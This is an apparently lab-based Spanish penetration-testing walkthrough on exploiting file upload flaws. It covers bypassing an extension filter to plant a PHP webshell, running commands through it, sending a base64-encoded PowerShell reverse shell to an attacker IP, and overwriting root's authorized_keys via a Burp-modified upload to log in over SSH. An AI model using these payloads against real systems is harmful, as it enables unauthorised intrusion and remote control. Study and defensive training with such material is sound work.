37d2c066c3cafc48221c5ea1bd6c7994-cwa_fu_exform6.png

Primero siempre cargamos archivo de prueba:

cb17ff179a44406765a7941273af4b38-cwa_fu_exupload3.png

No nos permite subida de archivos php, por lo que podemos tratar de cambiar la extensión modificando a mayúsculas y minúsculas:

3c35cddf396565e48313a5605838c0c4-cwa_fu_expHP2.png

Una vez tengamos el archivo subido (webshell) y conozcamos la ruta de almacenamiento de archivos, podemos apuntar a el y ejecutar comandos:

kali@kali:~$ curl <http://192.168.50.189/meteor/uploads/simple-backdoor.pHP?cmd=dir>
...
 Directory of C:\\xampp\\htdocs\\meteor\\uploads

04/04/2022  06:23 AM    <DIR>          .
04/04/2022  06:23 AM    <DIR>          ..
04/04/2022  06:21 AM               328 simple-backdoor.pHP
04/04/2022  06:03 AM                15 test.txt
               2 File(s)            343 bytes
               2 Dir(s)  15,410,925,568 bytes free
...

Si estamos tratando de un Linux entablamos reverse shell con mkfifo o cualquier otro payload sencillo, en windows es algo mas complicado, pero podemos usar este payload, encodeandolo desde powershell previamente:

kali@kali:~$ pwsh
PowerShell 7.1.3
Copyright (c) Microsoft Corporation.

<https://aka.ms/powershell>
Type 'help' to get help.

PS> $Text = '$client = New-Object System.Net.Sockets.TCPClient("192.168.119.131",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'

PS> $Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)

PS> $EncodedText =[Convert]::ToBase64String($Bytes)

PS> $EncodedText
JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0
...
AYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA

PS> exit

Una vez tenemos el payload encodeado, nos ponemos en escucha en nuestro equipo y hacemos la peticion introduciendo el payload a través de la webshell:

curl <http://192.168.50.189/meteor/uploads/simple-backdoor.pHP?cmd=powershell%20-enc%20JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0>
...
AYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA

Explotación con archivos no ejecutables

Interceptamos la petición de subida de archivo con Burp subiéndole cualquier txt:

0f3ac15c454bc8a783e1979ded24f48c-cwa_fu_burptxtcom.png

A continuación, podemos tratar de generar claves ssh e introducirlas en un archivo local de la máquina vícitma, modificando el texto del archivo y el destino desde la petición de Burp. En primer lugar, generamos el par de claves con ssh-keygen:

kali@kali:~$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kali/.ssh/id_rsa): fileup
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in fileup
Your public key has been saved in fileup.pub
...

kali@kali:~$ cat fileup.pub > authorized_keys

Y seguidamente, copiamos el contenido del archivo authorized_keys que hemos generado, lo introducimos en el conenido del archivo de la petición de Burp, y también modificamos el filename por el archivo que vamos a sobreescribir, que es el archivo authorized_keys de algún usuario del sistema, como puede ser root:

999ddab4c6543dc3d727618bc14ed495-cwa_fu_burprelsshcom.png

Y por último tratar de conectarnos por ssh sin proporcionar contraseña:

kali@kali:~$ rm ~/.ssh/known_hosts

kali@kali:~$ ssh -p -i fileup [email protected]
The authenticity of host '[target.com]:2222 ([192.168.50.16]:22)' can't be established.
ED25519 key fingerprint is SHA256:R2JQNI3WJqpEehY2Iv9QdlMAoeB3jnPvjJqqfDZ3IXU.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
...
root@76b77a6eae51:~#